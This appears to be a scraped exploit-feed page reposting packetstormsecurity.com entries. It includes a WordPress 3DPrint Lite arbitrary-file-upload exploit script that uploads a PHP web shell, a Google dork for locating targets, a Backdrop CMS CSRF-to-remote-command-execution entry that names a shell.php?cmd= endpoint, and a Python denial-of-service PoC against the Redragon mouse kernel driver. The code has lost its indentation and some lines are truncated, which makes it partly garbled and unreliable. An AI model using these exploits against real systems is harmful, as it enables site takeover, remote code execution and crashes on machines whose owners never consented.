Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. 
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept:

Source:packetstormsecurity.com

7 views18:18

4 views18:18

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Backdrop CMS 1.20.0 Cross Site Request Forgery / Command Execution

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdrop CMS version 1.20.0 suffers from cross site request forgery vulnerabilities that can assist an attacker in achieving command execution.

MD5 | 2e44ed7c8aa4c0431592175c5c6161c9

Download

# Exploit Title: Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
# Exploit Author: V1n1v131r4
# Date: 2021-09-22
# Vendor Homepage: https://backdropcms.org/
# Software Link: https://github.com/backdrop/backdrop/releases/download/1.20.0/backdrop.zip
# Version: 1.20.0
# Tested On: Kali Linux, Ubuntu 20.04
# Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to add new user with Admin powers.
# Description: Backdrop CMS suffers from an Cross-site Request Forgery Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously add-on with crafted PHP file.
# Step 1
# Send this page below to the victim
Run on your browser: http://example.com/backdrop/modules/reference/shell.php?cmd=[command] to execute remote commands.

Source:packetstormsecurity.com

4 views18:18

Hacking Articles Tips Tricks Videos Tutorials

4 views18:18

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Redragon Gaming Mouse Denial Of Service

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Redragon Gaming Mouse suffers from a denial of service vulnerability.

MD5 | a001d0c25a8946620304491113760b3f

Download

# Exploit Title: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial-Of-Service (PoC)
# Date: 27/08/2021 
# Exploit Author: Quadron Research Lab 
# Version: all version 
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.redragonzone.com/pages/download
# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/REDRAGON_MOUSE
import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "REDRAGON_MOUSE"

ioctl = 0x222414

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GLOBALROOT\\Device\REDRAGON_MOUSE", 0xC0000000, 0, None, 0x3, 0, None) 

if not hevDevice or hevDevice == -1:
print ("Not Win! Sorry!")

else:
print ("OPENED!")

buf = '\x44' * 1000 + '\x00' * 1000
bufLength = 2000

kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)

Source:packetstormsecurity.com

4 views18:18

Hacking Articles Tips Tricks Videos Tutorials

3 views18:18

Hacking Articles Tips Tricks Videos Tutorials

3 views18:18

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
WordPress 3DPrint Lite 1.9.1.4 Shell Upload

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
WordPress 3DPrint Lite plugin version 1.9.1.4 suffers from a remote shell upload vulnerability.

MD5 | df05024a490ce087dd2a9ea5257bf09c

Download

# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("3DPrint Lite <=
print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("jsonrpc" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
file_path = sys.argv[2]

ajax_action = 'p3dlite_handle_upload'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)

files = {'file' : open(file_path)}
print("Uploading Shell...");
response = requests.post(uri, files=files)
file_name = path.basename(file_path)
if(file_name in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-content/uploads/p3d/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)

main();